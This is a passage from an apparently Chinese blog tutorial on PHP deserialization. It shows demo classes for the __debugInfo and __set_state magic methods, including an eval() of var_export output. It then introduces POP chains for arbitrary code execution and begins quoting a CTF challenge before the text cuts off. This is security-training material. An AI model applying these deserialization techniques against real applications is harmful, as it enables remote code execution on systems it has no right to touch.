class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __debugInfo</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/dubuginfo.png\" class=\"\" title=\"dubuginfo\"></p>\n<p>同时我们可以利用这个魔术方法自定义返回的数组</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __debugInfo</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#1E754F;--shiki-dark:#4D9375\">        return</span><span style=\"color:#999999;--shiki-dark:#666666\"> </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">[</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">xiexie</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">CTFer</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span></span>\n<span class=\"line\"><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">            '</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">Chesmond</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> =</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">        </span><span style=\"color:#a65e2b;--shiki-dark:#d4976c\">]</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">var_dump</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/debuginfo.png\" class=\"\" title=\"debuginfo\"></p>\n<h3 id=\"__set_state\"><a class=\"anchor\" href=\"#__set_state\">#</a> __set_state()：</h3>\n<p>在使用 var_export() 导出类时自动调用，用于返回一个包含类的静态成员的数组。</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">highlight_file</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">__FILE__</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">Class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">xiexie</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#2F798A;--shiki-dark:#4C9A91\"> 2</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    protected</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Chesmond</span><span style=\"color:#999999;--shiki-dark:#666666\">  =</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">L47yY</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">Arach</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> true</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    static</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __set_state</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">ZLARYY!!!</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\"> new</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> ZLARYY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> var_export</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#999999;--shiki-dark:#666666\">,</span><span style=\"color:#1E754F;--shiki-dark:#4D9375\">true</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">eval</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">code</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">.</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">;</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">'</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#999999;--shiki-dark:#666666\"> =</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> serialize</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">ZL47yY</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">print_r</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">(</span><span style=\"color:#999999;--shiki-dark:#666666\">$</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">serialized</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">)</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">echo</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\"> \"</span><span style=\"color:#B56959;--shiki-dark:#C98A7D\">&#x3C;/br>now?</span><span style=\"color:#B5695977;--shiki-dark:#C98A7D77\">\"</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span></code></pre>\n<p><img loading=\"lazy\" src=\"/2026/02/16/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/setstatic.png\" class=\"\" title=\"setstatic\"></p>\n<p>调用这个魔术方法不仅仅只var_export一个对象，还需要将生成的内容拿去执行，也就是eval($code,';')部分</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-text\"><span class=\"line\"><span>var_export() 不会 执行 __set_state() 方法。 它只是生成了一段代码字符串，这段代码里包含了对 __set_state() 的调用。</span></span>\n<span class=\"line\"><span>只有当你把这段生成的代码拿去 执行（例如使用 eval() 或者写入文件后 include）时，__set_state() 才会被真正触发。</span></span></code></pre>\n<h2 id=\"pop链\"><a class=\"anchor\" href=\"#pop链\">#</a> POP链</h2>\n<p><strong>POP链</strong>（Property-Oriented Programming Chain）是一种通过控制对象属性来构造的调用链，利用一系列魔术方法之间的调用关系，最终达到执行任意代码的目的。</p>\n<p>这里采用几道例题来展示：</p>\n<h3 id=\"polardn简单上的php反序列化初试\"><a class=\"anchor\" href=\"#polardn简单上的php反序列化初试\">#</a> POLARD&amp;N简单上的php反序列化初试：</h3>\n<p>题目内容：</p>\n<pre class=\"shiki shiki-themes vitesse-light vitesse-dark\" style=\"background-color:#ffffff;--shiki-dark-bg:#121212;color:#393a34;--shiki-dark:#dbd7caee\" tabindex=\"0\"><code class=\"language-php\"><span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">&#x3C;</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">?</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">php</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Easy</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> __wakeup</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">(</span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">)</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#998418;--shiki-dark:#B8A965\">        echo</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#A65E2B;--shiki-dark:#C99076\">this</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">-</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\">></span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">name</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#999999;--shiki-dark:#666666\">    </span><span style=\"color:#1e754f;--shiki-dark:#4d9375\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#125;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">class</span><span style=\"color:#2E8F82;--shiki-dark:#5DA994\"> Evil</span><span style=\"color:#2993a3;--shiki-dark:#5eaab5\">&#123;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">evil</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    private</span><span style=\"color:#999999;--shiki-dark:#666666\"> $</span><span style=\"color:#B07D48;--shiki-dark:#BD976A\">env</span><span style=\"color:#999999;--shiki-dark:#666666\">;</span></span>\n<span class=\"line\"><span style=\"color:#AB5959;--shiki-dark:#CB7676\">    public</span><span style=\"color:#AB5959;--shiki-dark:#CB7676\"> function</span><span style=\"color:#998418;--shiki-dark:#B8A965\"> 